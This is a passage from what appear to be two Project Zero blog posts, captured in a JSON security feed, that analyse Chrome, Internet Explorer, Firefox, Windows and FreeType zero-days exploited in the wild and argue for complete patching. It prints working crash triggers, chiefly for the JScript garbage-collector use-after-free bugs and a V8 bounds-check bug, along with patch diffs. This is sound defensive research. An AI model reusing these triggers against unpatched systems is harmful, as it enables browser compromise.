index - 65534;\n\nindex = Math.max(index, 0);\n\nreturn array[index] = 2.2;\n\n}\n\nfor (let i = 0; i < 20000; i++) {\n\ntrigger(1,2,3);\n\n}\n\nprint(trigger.apply(null, new Array(65534 + oob_index))); \n \n--- \n \nQixun Zhao used the same vulnerability in Tianfu Cup and [reported it to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=906043>) in November 2018. The public report includes a renderer exploit. [The fix](<https://chromium.googlesource.com/v8/v8/+/8e4588915ba7a9d9d744075781cea114d49f0c7b>), which landed in Chrome 72, simply relaxed the range of the length property.\n\n#### The exploit\n\nThe discovered exploit targets Chrome 63-67. The exploit flow is a bit unconventional as it doesn\u2019t rely on typed arrays to gain arbitrary read/write. The attacker makes use of the fact that V8 allocates objects in the new space linearly to precompute inter-object offsets. The vulnerability is only triggered once to corrupt the length property of a tagged pointer array. The corrupted array can then be used repeatedly to overwrite the elements field of an unboxed double array with an arbitrary JS object, which gives the attacker raw access to the contents of that object. It\u2019s worth noting that this approach doesn\u2019t even require performing manual pointer arithmetic. As usual, the exploit finishes by overwriting the code of a JS function with the payload.\n\nInterestingly, this is the only exploit that doesn\u2019t take advantage of running inside a web worker even though the vulnerability is fully compatible. Also, the amount of error checking is significantly smaller than in the previous exploits. The author probably assumed that the exploitation primitive provided by the issue was so reliable that all additional safety measures became unnecessary. Nevertheless, during our testing, we did occasionally encounter crashes when one of the allocations that the exploit makes managed to trigger garbage collection. That said, such crashes were indeed quite rare.\n\nAs the reader may have noticed, the exploit had stopped working long before the issue was fixed. The reason is that [one of the hardening patches](<https://chromium.googlesource.com/v8/v8.git/+/f53dfd934df0c95e1a82680ce87f48b5d60902d1%5E%21/>) against speculative side-channel attacks in V8 broke the bounds check elimination technique used by the exploit. The protection was soon turned off for desktop platforms and replaced with [site isolation](<https://www.chromium.org/Home/chromium-security/site-isolation>); hence, [the public exploit](<https://bugs.chromium.org/p/chromium/issues/detail?id=906043>), which employs the same technique, was successfully used against Chrome 70 on Windows during the competition.\n\nThe public and private exploits have little in common apart from the bug itself and BCE technique, which has been commonly known [since at least 2017](<https://bugs.chromium.org/p/chromium/issues/detail?id=762874>). The public exploit turns out-of-bounds access into a type confusion and then follows the older approach, which involves crafting a fake array buffer object, to achieve code execution.\n\n### 4\\. CVE-2019-13764\n\nThis more complex typer issue occurs when TurboFan doesn\u2019t reflect the possible NaN value in the type of an induction variable. The bug can be triggered by the following code:\n\nfor (var i = -Infinity; i < 0; i += Infinity) { [...] } \n \n--- \n \nThis vulnerability and exploit for Chrome 73-79 have been discussed in detail in [the previous blog post](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>). There\u2019s also an earlier version of the exploit targeting Chrome 69-72; the only difference is that the newer version switched from a JS JIT function to a WASM function as the overwrite target.\n\nThe comparison with the exploit for the previous typer issue (CVE-2019-5782) is more interesting, though. The developer put much greater emphasis on stability of the new exploit even though the two vulnerabilities are identical in this regard. The web worker wrapper is back, and the exploit doesn\u2019t corrupt tagged element arrays to avoid GC crashes. Also, it no longer relies completely on precomputed offsets between objects in the new space. For example, to leak a pointer to a JS object the attacker puts it between marker values and then scans the memory for the matching pattern. Finally, the number of sanity checks is increased again.\n\nIt\u2019s also worth noting that the new typer bug exploitation technique worked against Chrome on Android despite the side-channel attack mitigation and could have \u201crevived\u201d the exploit for CVE-2019-5782.\n\n### Conclusion\n\nThe timeline data and incremental changes between different exploit versions suggest that at least three out of the four vulnerabilities (CVE-2020-6418, CVE-2019-5782 and CVE-2019-13764) have been used as 0-days.\n\nIt is no secret that exploit reliability is a priority for high-tier attackers, but our findings demonstrate the amount of resources the attackers are willing to spend on making their exploits extra reliable, especially the evidence that the actor has switched from an already high-quality 0-day to a slightly better vulnerability twice.\n\nThe area of JIT engine security has received great attention from the wider security community over the last few years. In 2015, when Chrome 37 came out, the exploit for CVE-2017-5070 would be considered quite ahead of its time. In contrast, if we don\u2019t take into account the stability aspect, the exploit for the latest typer issue is not very different from exploits that enthusiasts made for JavaScript challenges at CTF competitions in 2019. This attention also likely affects the average lifetime of a JIT vulnerability and, therefore, may force attackers to move to different bug classes in the future.\n\nThis is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see [In The Wild Part 4: Android Exploits](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android-exploits.html>).\n", "modified": "2021-01-12T00:00:00", "published": "2021-01-12T00:00:00", "id": "GOOGLEPROJECTZERO:9523EA61EA974CED8A3D9198CD0D5F6D", "href": "https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html", "type": "googleprojectzero", "title": "\nIn-the-Wild Series: Chrome Exploits\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-04T19:27:43", "bulletinFamily": "info", "cvelist": ["CVE-2014-9665", "CVE-2015-0093", "CVE-2015-0993", "CVE-2018-8653", "CVE-2019-0880", "CVE-2019-1367", "CVE-2019-13674", "CVE-2019-13695", "CVE-2019-13764", "CVE-2019-1429", "CVE-2019-5870", "CVE-2020-0674", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-15999", "CVE-2020-17008", "CVE-2020-27930", "CVE-2020-6383", "CVE-2020-6572", "CVE-2020-6820", "CVE-2021-1648"], "description": "A Year in Review of 0-days Exploited In-The-Wild in 2020\n\nPosted by Maddie Stone, Project Zero\n\n2020 was a year full of 0-day exploits. Many of the Internet\u2019s most popular browsers had their moment in the spotlight. Memory corruption is still the name of the game and how the vast majority of detected 0-days are getting in. While we tried new methods of 0-day detection with modest success, 2020 showed us that there is still a long way to go in detecting these 0-day exploits in-the-wild. But what may be the most notable fact is that 25% of the 0-days detected in 2020 are closely related to previously publicly disclosed vulnerabilities. In other words, 1 out of every 4 detected 0-day exploits could potentially have been avoided if a more thorough investigation and patching effort were explored. Across the industry, incomplete patches \u2014 patches that don\u2019t correctly and comprehensively fix the root cause of a vulnerability \u2014 allow attackers to use 0-days against users with less effort.\n\nSince mid-2019, Project Zero has dedicated an effort specifically to track, analyze, and learn from 0-days that are actively exploited in-the-wild. For the last 6 years, Project Zero\u2019s mission has been to \u201cmake 0-day hard\u201d. From that came the goal of our in-the-wild program: \u201cLearn from 0-days exploited in-the-wild in order to make 0-day hard.\u201d In order to ensure our work is actually making it harder to exploit 0-days, we need to understand how 0-days are actually being used. Continuously pushing forward the public\u2019s understanding of 0-day exploitation is only helpful when it doesn\u2019t diverge from the \u201cprivate state-of-the-art\u201d, what attackers are doing and are capable of. \n\nOver the last 18 months, we\u2019ve learned a lot about the active exploitation of 0-days and our work has matured and evolved with it. [For the 2nd year in a row](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>), we\u2019re publishing a \u201cYear in Review\u201d report of the previous year\u2019s detected 0-day exploits. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you\u2019re interested in each individual exploit\u2019s analysis, please check out our[ root cause analyses](<https://googleprojectzero.blogspot.com/p/rca.html>). \n\nWhen looking at the 24 0-days detected in-the-wild in 2020, there\u2019s an undeniable conclusion: increasing investment in correct and comprehensive patches is a huge opportunity for our industry to impact attackers using 0-days.\n\nA correct patch is one that fixes a bug with complete accuracy, meaning the patch no longer allows any exploitation of the vulnerability. A comprehensive patch applies that fix everywhere that it needs to be applied, covering all of the variants. We consider a patch to be complete only when it is both correct and comprehensive. When exploiting a single vulnerability or bug, there are often multiple ways to trigger the vulnerability, or multiple paths to access it. Many times we\u2019re seeing vendors block only the path that is shown in the proof-of-concept or exploit sample, rather than fixing the vulnerability as a whole, which would block all of the paths. Similarly, security researchers are often reporting bugs without following up on how the patch works and exploring related attacks.\n\nWhile the idea that incomplete patches are making it easier for attackers to exploit 0-days may be uncomfortable, the converse of this conclusion can give us hope. We have a clear path toward making 0-days harder. If more vulnerabilities are patched correctly and comprehensively, it will be harder for attackers to exploit 0-days.\n\n# This vulnerability looks familiar \ud83e\udd14\n\nAs stated in the introduction, 2020 included 0-day exploits that are similar to ones we\u2019ve seen before. 6 of 24 0-days exploits detected in-the-wild are closely related to publicly disclosed vulnerabilities. Some of these 0-day exploits only had to change a line or two of code to have a new working 0-day exploit. This section explains how each of these 6 actively exploited 0-days are related to a previously seen vulnerability. We\u2019re taking the time to detail each and show the minimal differences between the vulnerabilities to demonstrate that once you understand one of the vulnerabilities, it\u2019s much easier to then exploit another. \n\n\nProduct\n\n| \n\nVulnerability exploited in-the-wild\n\n| \n\nVariant of... \n \n---|---|--- \n \nMicrosoft Internet Explorer\n\n| \n\nCVE-2020-0674\n\n| \n\nCVE-2018-8653* CVE-2019-1367* CVE-2019-1429* \n \nMozilla Firefox\n\n| \n\nCVE-2020-6820\n\n| \n\nMozilla [Bug 1507180](<https://bugzilla.mozilla.org/show_bug.cgi?id=1507180>) \n \nGoogle Chrome\n\n| \n\nCVE-2020-6572\n\n| \n\nCVE-2019-5870\n\nCVE-2019-13695 \n \nMicrosoft Windows\n\n| \n\nCVE-2020-0986\n\n| \n\nCVE-2019-0880* \n \nGoogle Chrome/Freetype\n\n| \n\nCVE-2020-15999\n\n| \n\nCVE-2014-9665 \n \nApple Safari\n\n| \n\nCVE-2020-27930\n\n| \n\nCVE-2015-0093 \n \n* vulnerability was also exploited in-the-wild in previous years \n \n## Internet Explorer JScript CVE-2020-0674\n\nCVE-2020-0674 is the fourth vulnerability that\u2019s been exploited in this bug class in 2 years. The other three vulnerabilities are CVE-2018-8653, CVE-2019-1367, and CVE-2019-1429. In the [2019 year-in-review](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>) we devoted a section to these vulnerabilities. [Google\u2019s Threat Analysis Group attributed](<https://www.blog.google/threat-analysis-group/identifying-vulnerabilities-and-protecting-you-phishing/>) all four exploits to the same threat actor. It bears repeating, the same actor exploited similar vulnerabilities four separate times. For all four exploits, the attacker used the same vulnerability type and the same exact exploitation method. Fixing these vulnerabilities comprehensively the first time would have caused attackers to work harder or find new 0-days.\n\nJScript is the legacy Javascript engine in Internet Explorer. While it\u2019s legacy, [by default it is still enabled](<https://support.microsoft.com/en-us/topic/option-to-disable-jscript-execution-in-internet-explorer-9e3b5ab3-8115-4650-f3d8-e496e7f8e40e>) in Internet Explorer 11, which is a built-in feature of Windows 10 computers. The bug class, or type of vulnerability, is that a specific JScript object, a variable (uses the VAR struct), is not tracked by the garbage collector. I\u2019ve included the code to trigger each of the four vulnerabilities below to demonstrate how similar they are. Ivan Fratric from Project Zero wrote all of the included code that triggers the four vulnerabilities.\n\n### CVE-2018-8653\n\nIn December 2018, it was discovered that [CVE-2018-8653](<https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8653>) was being actively exploited. In this vulnerability, the this variable is not tracked by the garbage collector in the isPrototypeof callback. McAfee also wrote a [write-up going through each step of this exploit](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/>). \n\nvar objs = new Array();\n\nvar refs = new Array();\n\nvar dummyObj = new Object();\n\nfunction getFreeRef()\n\n{\n\n// 5. delete prototype objects as well as ordinary objects\n\nfor ( var i = 0; i < 10000; i++ ) {\n\nobjs[i] = 1;\n\n}\n\nCollectGarbage();\n\nfor ( var i = 0; i < 200; i++ )\n\n{\n\nrefs[i].prototype = 1;\n\n}\n\n// 6. Garbage collector frees unused variable blocks.\n\n// This includes the one holding the \"this\" variable\n\nCollectGarbage();\n\n// 7. Boom\n\nalert(this);\n\n}\n\n// 1. create \"special\" objects for which isPrototypeOf can be invoked\n\nfor ( var i = 0; i < 200; i++ ) {\n\nvar arr = new Array({ prototype: {} });\n\nvar e = new Enumerator(arr);\n\nrefs[i] = e.item();\n\n}\n\n// 2. create a bunch of ordinary objects\n\nfor ( var i = 0; i < 10000; i++ ) {\n\nobjs[i] = new Object();\n\n}\n\n// 3. create objects to serve as prototypes and set up callbacks\n\nfor ( var i = 0; i < 200; i++ ) {\n\nrefs[i].prototype = {};\n\nrefs[i].prototype.isPrototypeOf = getFreeRef;\n\n}\n\n// 4. calls isPrototypeOf. This sets up refs[100].prototype as \"this\" variable\n\n// During callback, the \"this\" variable won't be tracked by the Garbage collector\n\n// use different index if this doesn't work\n\ndummyObj instanceof refs[100]; \n \n--- \n \n### CVE-2019-1367\n\nIn September 2019, [CVE-2019-1367](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-1367>) was detected as exploited in-the-wild. This is the same vulnerability type as CVE-2018-8653: a JScript variable object is not tracked by the garbage collector. This time though the variables that are not tracked are in the arguments array in the Array.sort callback.\n\nvar spray = new Array();\n\nfunction F() {\n\n// 2. Create a bunch of objects\n\nfor (var i = 0; i < 20000; i++) spray[i] = new Object();\n\n// 3. Store a reference to one of them in the arguments array\n\n// The arguments array isn't tracked by garbage collector\n\narguments[0] = spray[5000];\n\n// 4. Delete the objects and call the garbage collector\n\n// All JSCript variables get reclaimed... \n\nfor (var i = 0; i < 20000; i++) spray[i] = 1;\n\nCollectGarbage();\n\n// 5. But we still have reference to one of them in the\n\n// arguments array\n\nalert(arguments[0]);\n\n}\n\n// 1. Call sort with a custom callback\n\n[1,2].sort(F); \n \n--- \n \n### CVE-2019-1429\n\nThe CVE-2019-1367 patch did not actually fix the vulnerability triggered by the proof-of-concept above and exploited in the in-the-wild. The proof-of-concept for CVE-2019-1367 still worked even after the CVE-2019-1367 patch was applied! \n\nIn November 2019, Microsoft released another patch to address this gap. [CVE-2019-1429](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-1429>) addressed the shortcomings of the CVE-2019-1367 and also fixed a variant. [The variant](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1947>) is that the variables in the arguments array are not tracked by the garbage collector in the toJson callback rather than the Array.sort callback. The only difference between the variant triggers is the highlighted lines. Instead of calling the Array.sort callback, we call the toJSON callback.\n\nvar spray = new Array();\n\nfunction F() {\n\n// 2. Create a bunch of objects\n\nfor (var i = 0; i < 20000; i++) spray[i] = new Object();\n\n// 3. Store a reference to one of them in the arguments array\n\n// The arguments array isn't tracked by garbage collector\n\narguments[0] = spray[5000];\n\n// 4. Delete the objects and call the garbage collector\n\n// All JSCript variables get reclaimed... \n\nfor (var i = 0; i < 20000; i++) spray[i] = 1;\n\nCollectGarbage();\n\n// 5. But we still have reference to one of them in the\n\n// arguments array\n\nalert(arguments[0]);\n\n}\n\n+ // 1. Cause toJSON callback to fire\n\n+ var o = {toJSON:F}\n\n+ JSON.stringify(o);\n\n- // 1. Call sort with a custom callback\n\n- [1,2].sort(F); \n \n--- \n \n### CVE-2020-0674\n\nIn January 2020, [CVE-2020-0674](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0674>) was detected as exploited in-the-wild. The vulnerability is that the named arguments are not tracked by the garbage collector in the Array.sort callback. The only changes required to the trigger for CVE-2019-1367 is to change the references to arguments[] to one of the arguments named in the function definition. For example, we replaced any instances of arguments[0] with arg1.\n\nvar spray = new Array();\n\n+ function F(arg1, arg2) {\n\n- function F() {\n\n// 2. Create a bunch of objects\n\nfor (var i = 0; i < 20000; i++) spray[i] = new Object();\n\n// 3. Store a reference to one of them in one of the named arguments\n\n// The named arguments aren't tracked by garbage collector\n\n+ arg1 = spray[5000];\n\n- arguments[0] = spray[5000];\n\n// 4. Delete the objects and call the garbage collector\n\n// All JScript variables get reclaimed... \n\nfor (var i = 0; i < 20000; i++) spray[i] = 1;\n\nCollectGarbage();\n\n// 5. But we still have reference to one of them in\n\n// a named argument\n\n+ alert(arg1);\n\n- alert(arguments[0]);\n\n}\n\n// 1. Call sort with a custom callback\n\n[1,2].sort(F); \n \n--- \n \n### CVE-2020-0968\n\nUnfortunately CVE-2020-0674 was not the end of this story, even though it was the fourth vulnerability of this type to be exploited in-the-wild. In April 2020, Microsoft patched [CVE-2020-0968](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968>), another Internet Explorer JScript vulnerability. When the bulletin was first released, it was designated as exploited in-the-wild, but the following day, Microsoft changed this field to say it was not exploited in-the-wild (see the revisions section at the bottom of the [advisory](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968>)). \n\nvar spray = new Array();\n\nfunction f1() {\n\nalert('callback 1');\n\nreturn spray[6000];\n\n}\n\nfunction f2() {\n\nalert('callback 2');\n\nspray = null;\n\nCollectGarbage();\n\nreturn 'a'\n\n}\n\nfunction boom() {\n\nvar e = o1;\n\nvar d = o2;\n\n// 3. the first callback (e.toString) happens\n\n// it returns one of the string variables\n\n// which is stored in a temporary variable\n\n// on the stack, not tracked by garbage collector\n\n// 4. Second callback (d.toString) happens\n\n// There, string variables get freed\n\n// and the space reclaimed\n\n// 5. Crash happens when attempting to access\n\n// string content of the temporary variable\n\nvar b = e + d;\n\nalert(b);\n\n}\n\n// 1. create two objects with toString callbacks\n\nvar o1 = { toString: f1 };\n\nvar o2 = { toString: f2 };\n\n// 2. create a bunch of string variables\n\nfor (var a = 0; a < 20000; a++) {\n\nspray[a] = \"aaa\";\n\n}\n\nboom(); \n \n--- \n \nIn addition to the vulnerabilities themselves being very similar, the attacker used the same exploit method for each of the four 0-day exploits. This provided a type of \u201cplug and play\u201d quality to their 0-day development which would have reduced the amount of work required for each new 0-day exploit. \n\n## Firefox CVE-2020-6820\n\nMozilla patched [CVE-2020-6820 in Firefox with an out-of-band security update](<https://www.mozilla.org/en-US/security/advisories/mfsa2020-11/>) in April 2020. It is a use-after-free in the Cache subsystem. \n\nCVE-2020-6820 is a use-after-free of the CacheStreamControlParent when closing its last open read stream. The read stream is the response returned to the context process from a cache query. If the close or abort command is received while any read streams are still open, it triggers StreamList::CloseAll. If the StreamControl (must be the Parent which lives in the browser process in order to get the use-after-free in the browser process; the Child would only provide in renderer) still has ReadStreams when StreamList::CloseAll is called, then this will cause the CacheStreamControlParent to be freed. The mId member of the CacheStreamControl parent is then subsequently accessed, causing the use-after-free.\n\nThe execution patch for CVE-2020-6820 is:\n\nStreamList::CloseAll \u2190 Patched function\n\nCacheStreamControlParent::CloseAll\n\nCacheStreamControlParent::NotifyCloseAll\n\nStreamControl::CloseAllReadStreams\n\nFor each stream:\n\nReadStream::Inner::CloseStream\n\nReadStream::Inner::Close\n\nReadStream::Inner::NoteClosed\n\n\u2026\n\nStreamControl::NoteClosed\n\nStreamControl::ForgetReadStream\n\nCacheStreamControlParent/Child::NoteClosedAfterForget\n\nCacheStreamControlParent::RecvNoteClosed\n\nStreamList::NoteClosed\n\nIf StreamList is empty && mStreamControl:\n\nCacheStreamControlParent::Shutdown\n\nSend__delete(this) \u2190 FREED HERE!\n\nPCacheStreamControlParent::SendCloseAll \u2190 Used here in call to Id() \n \n--- \n \nCVE-2020-6820 is a variant of an internally found Mozilla vulnerability, [Bug 1507180](<https://bugzilla.mozilla.org/show_bug.cgi?id=1507180>). 1507180 was discovered in November 2018 and [patched in December 2019](<https://hg.mozilla.org/mozilla-central/rev/cdf525897bff>). 1507180 is a use-after-free of the ReadStream in mReadStreamList in StreamList::CloseAll. While it was patched in December, [an explanatory comment](<https://hg.mozilla.org/mozilla-central/rev/25beb671c14a>) for why the December 2019 patch was needed was added in early March 2020. \n\nFor 150718 the execution path was the same as for CVE-2020-6820 except that the the use-after-free occurred earlier, in StreamControl::CloseAllReadStreams rather than a few calls \u201chigher\u201d in StreamList::CloseAll.\n\nIn my personal opinion, I have doubts about whether or not this vulnerability was actually exploited in-the-wild. As far as we know, no one (including myself or Mozilla engineers [[1](<https://bugzilla.mozilla.org/show_bug.cgi?id=1626728#c15>), [2](<https://bugzilla.mozilla.org/show_bug.cgi?id=1507180#c10>)]), has found a way to trigger this exploit without shutting down the process. Therefore, exploiting this vulnerability doesn\u2019t seem very practical. However, because it was marked as exploited in-the-wild in the advisory, it remains in our [in-the-wild tracking spreadsheet](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=1869060786>) and thus included in this list.\n\n## Chrome for Android CVE-2020-6572\n\n[CVE-2020-6572](<https://chromereleases.googleblog.com/2020/04/stable-channel-update-for-desktop_7.html>) is use-after-free in MediaCodecAudioDecoder::~MediaCodecAudioDecoder(). This is Android-specific code that uses Android's media decoding APIs to support playback of DRM-protected media on Android. The root of this use-after-free is that a `unique_ptr` is assigned to another, going out of scope which means it can be deleted, while at the same time a raw pointer from the originally referenced object isn't updated. \n\nMore specifically, MediaCodecAudioDecoder::Initialize doesn't reset media_crypto_context_ if media_crypto_ has been previously set. This can occur if MediaCodecAudioDecoder::Initialize is called twice, which is explicitly supported. This is problematic when the second initialization uses a different CDM than the first one. Each CDM owns the media_crypto_context_ object, and the CDM itself (cdm_context_ref_) is a `unique_ptr`. Once the new CDM is set, the old CDM loses a reference and may be destructed. However, MediaCodecAudioDecoder still holds a raw pointer to media_crypto_context_ from the old CDM since it wasn't updated, which results in the use-after-free on media_crypto_context_ (for example, in MediaCodecAudioDecoder::~MediaCodecAudioDecoder). \n\nThis vulnerability that was exploited in-the-wild was reported in April 2020. 7 months prior, in September 2019, Man Yue Mo of Semmle [reported a very similar vulnerability](<https://bugs.chromium.org/p/chromium/issues/detail?id=1004730>), [CVE-2019-13695](<https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop.html>). CVE-2019-13695 is also a use-after-free on a dangling media_crypto_context_ in MojoAudioDecoderService after releasing the cdm_context_ref_. This vulnerability is essentially the same bug as CVE-2020-6572, it\u2019s just triggered by an error path after initializing MojoAudioDecoderService twice rather than by reinitializing the MediaCodecAudioDecoder.\n\nIn addition, in August 2019, Guang Gong of Alpha Team, Qihoo 360 reported another similar vulnerability in the same component. The [vulnerability](<https://bugs.chromium.org/p/chromium/issues/detail?id=999311>) is where the CDM could be registered twice (e.g. MojoCdmService::Initialize could be called twice) leading to use-after-free. When MojoCdmService::Initialize was called twice there would be two map entries in cdm_services_, but only one would be removed upon destruction, and the other was left dangling. This vulnerability is [CVE-2019-5870](<https://chromereleases.googleblog.com/2019/09/stable-channel-update-for-desktop.html>). Guang Gong used this vulnerability as a part of an Android exploit chain. He presented on this exploit chain at Blackhat USA 2020, \u201c[TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices](<https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf>)\u201d. \n\nWhile one could argue that the vulnerability from Guang Gong is not a variant of the vulnerability exploited in-the-wild, it was at the very least an early indicator that the Mojo CDM code for Android had life-cycle issues and needed a closer look. This [was noted in the issue tracker ](<https://bugs.chromium.org/p/chromium/issues/detail?id=999311#c8>)for CVE-2019-5870 and then [brought up again](<https://bugs.chromium.org/p/chromium/issues/detail?id=1004730#c1>) after Man Yue Mo reported CVE-2019-13695.\n\n## Windows splwow64 CVE-2020-0986\n\n[CVE-2020-0986](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0986>) is an arbitrary pointer dereference in Windows splwow64. Splwow64 is executed any time a 32-bit application wants to print a document. It runs as a Medium integrity process. Internet Explorer runs as a 32-bit application and a Low integrity process. Internet Explorer can send LPC messages to splwow64. CVE-2020-0986 allows an attacker in the Internet Explorer process to control all three arguments to a memcpy call in the more privileged splwow64 address space. The only difference between CVE-2020-0986 and [CVE-2019-0880](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0880>), which was also exploited in-the-wild, is that CVE-2019-0880 exploited the memcpy by sending message type 0x75 and CVE-2020-0986 exploits it by sending message type 0x6D. \n\nFrom this [great write-up from ByteRaptors](<https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html>) on CVE-2019-0880 the pseudo code that allows the controlling of the memcpy is:\n\nvoid GdiPrinterThunk(LPVOID firstAddress, LPVOID secondAddress, LPVOID thirdAddress)\n\n{\n\n...\n\nif(*((BYTE*)(firstAddress + 0x4)) == 0x75){\n\nULONG64 memcpyDestinationAddress = *((ULONG64*)(firstAddress + 0x20));\n\nif(memcpyDestinationAddress != NULL){\n\nULONG64 sourceAddress = *((ULONG64*)(firstAddress + 0x18));\n\nDWORD copySize = *((DWORD*)(firstAddress + 0x28));\n\nmemcpy(memcpyDestinationAddress,sourceAddress,copySize);\n\n}\n\n}\n\n...\n\n} \n \n--- \n \nThe equivalent pseudocode for CVE-2020-0986 is below. Only the message type (0x75 to 0x6D) and the offsets of the controlled memcpy arguments changed as highlighted below.\n\nvoid GdiPrinterThunk(LPVOID msgSend, LPVOID msgReply, LPVOID arg3)\n\n{\n\n...\n\nif(*((BYTE*)(msgSend + 0x4)) == 0x6D){\n\n...\n\nULONG64 srcAddress = **((ULONG64 **)(msgSend + 0xA));\n\nif(srcAddress != NULL){\n\nDWORD copySize = *((DWORD*)(msgSend + 0x40));\n\nif(copySize <= 0x1FFFE) {\n\nULONG64 destAddress = *((ULONG64*)(msgSend + 0xB));\n\nmemcpy(destAddress,sourceAddress,copySize);\n\n}\n\n}\n\n...\n\n} \n \n--- \n \nIn addition to CVE-2020-0986 being a trivial variant of a previous in-the-wild vulnerability, CVE-2020-0986 was also not patched completely and the vulnerability was still exploitable even after the patch was applied. This is detailed in the \u201cExploited 0-days not properly fixed\u201d section below.\n\n## Freetype CVE-2020-15999\n\nIn October 2020, Project Zero discovered multiple exploit chains being used in the wild. The exploit chains targeted iPhone, Android, and Windows users, but they all shared the same Freetype RCE to exploit the Chrome renderer, [CVE-2020-15999](<https://chromereleases.googleblog.com/2020/10/stable-channel-update-for-desktop_20.html>). [The vulnerability is a heap buffer overflow](<https://savannah.nongnu.org/bugs/?59308>) in the Load_SBit_Png function. The vulnerability was being triggered by an integer truncation. `Load_SBit_Png` processes PNG images embedded in fonts. The image width and height are stored in the PNG header as 32-bit integers. Freetype then truncated them to 16-bit integers. This truncated value was used to calculate the bitmap size and the backing buffer is allocated to that size. However, the original 32-bit width and height values of the bitmap are used when reading the bitmap into its backing buffer, thus causing the buffer overflow.\n\nIn November 2014, Project Zero team member [Mateusz Jurczyk reported CVE-2014-9665](<https://bugs.chromium.org/p/project-zero/issues/detail?id=168>) to Freetype. CVE-2014-9665 is also a heap buffer overflow in the Load_SBit_Png function. This one was triggered differently though. In CVE-2014-9665, when calculating the bitmap size, the size variable is vulnerable to an integer overflow causing the backing buffer to be too small. \n\nTo patch CVE-2014-9665, [Freetype added a check to the rows and width](<http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/src/sfnt/pngshim.c?id=54abd22891bd51ef8b533b24df53b3019b5cee81>) prior to calculating the size as shown below.\n\nif ( populate_map_and_metrics )\n\n{\n\nFT_Long size;\n\nmetrics->width = (FT_Int)imgWidth;\n\nmetrics->height = (FT_Int)imgHeight;\n\nmap->width = metrics->width;\n\nmap->rows = metrics->height;\n\nmap->pixel_mode = FT_PIXEL_MODE_BGRA;\n\nmap->pitch = map->width * 4;\n\nmap->num_grays = 256;\n\n+ /* reject too large bitmaps similarly to the rasterizer */\n\n+ if ( map->rows > 0x7FFF || map->width > 0x7FFF )\n\n+ {\n\n+ error = FT_THROW( Array_Too_Large );\n\n+ goto DestroyExit;\n\n+ }\n\nsize = map->rows * map->pitch; <- overflow size\n\nerror = ft_glyphslot_alloc_bitmap( slot, size );\n\nif ( error )\n\ngoto DestroyExit;\n\n} \n \n--- \n \nTo patch CVE-2020-15999, the vulnerability exploited in the wild in 2020, this check was moved up earlier in the `Load_Sbit_Png` function and changed to `imgHeight` and `imgWidth`, the width and height values that are included in the header of the PNG. \n\nif ( populate_map_and_metrics )\n\n{\n\n+ /* reject too large bitmaps similarly to the rasterizer */\n\n+ if ( imgWidth > 0x7FFF || imgHeight > 0x7FFF )\n\n+ {\n\n+ error = FT_THROW( Array_Too_Large );\n\n+ goto DestroyExit;\n\n+ }\n\n+\n\nmetrics->width = (FT_UShort)imgWidth;\n\nmetrics->height = (FT_UShort)imgHeight;\n\nmap->width = metrics->width;\n\nmap->rows = metrics->height;\n\nmap->pixel_mode = FT_PIXEL_MODE_BGRA;\n\nmap->pitch = map->width * 4;\n\nmap->num_grays = 256;\n\n- /* reject too large bitmaps similarly to the rasterizer */\n\n- if ( map->rows > 0x7FFF || map->width > 0x7FFF )\n\n- {\n\n- error = FT_THROW( Array_Too_Large );\n\n- goto DestroyExit;\n\n- }\n\n[...] \n \n--- \n \nTo summarize: \n\n * CVE-2014-9665 caused a buffer overflow by overflowing the size field in the size = map->rows * map->pitch; calculation.\n * CVE-2020-15999 caused a buffer overflow by truncating metrics->width and metrics->height which are then used to calculate the size field, thus causing the size field to be too small.\n\nA fix for the root cause of the buffer overflow in November 2014 would have been to bounds check imgWidth and imgHeight prior to any assignments to an unsigned short. Including the bounds check of the height and widths from the PNG headers early would have prevented both manners of triggering this buffer overflow. \n\n## Apple Safari CVE-2020-27930\n\nThis vulnerability is slightly different than the rest in that while it\u2019s still a variant, it\u2019s not clear that by current disclosure norms, one would have necessarily expected Apple to have picked up the patch. Apple and Microsoft both forked the Adobe Type Manager code over 20 years ago. Due to the forks, there\u2019s no true \u201cupstream\u201d. However when vulnerabilities were reported in Microsoft\u2019s, Apple\u2019s, or Adobe\u2019s fork, there is a possibility (though no guarantee) that it was also in the others.\n\nCVE-2020-27930 vulnerability was used in an exploit chain for iOS. The [variant, CVE-2015-0993, was reported](<http://bugs.chromium.org/p/project-zero/issues/detail?id=180>) to Microsoft in November 2014. In CVE-2015-0993, the vulnerability is in the blend operator in Microsoft\u2019s implementation of Adobe\u2019s Type 1/2 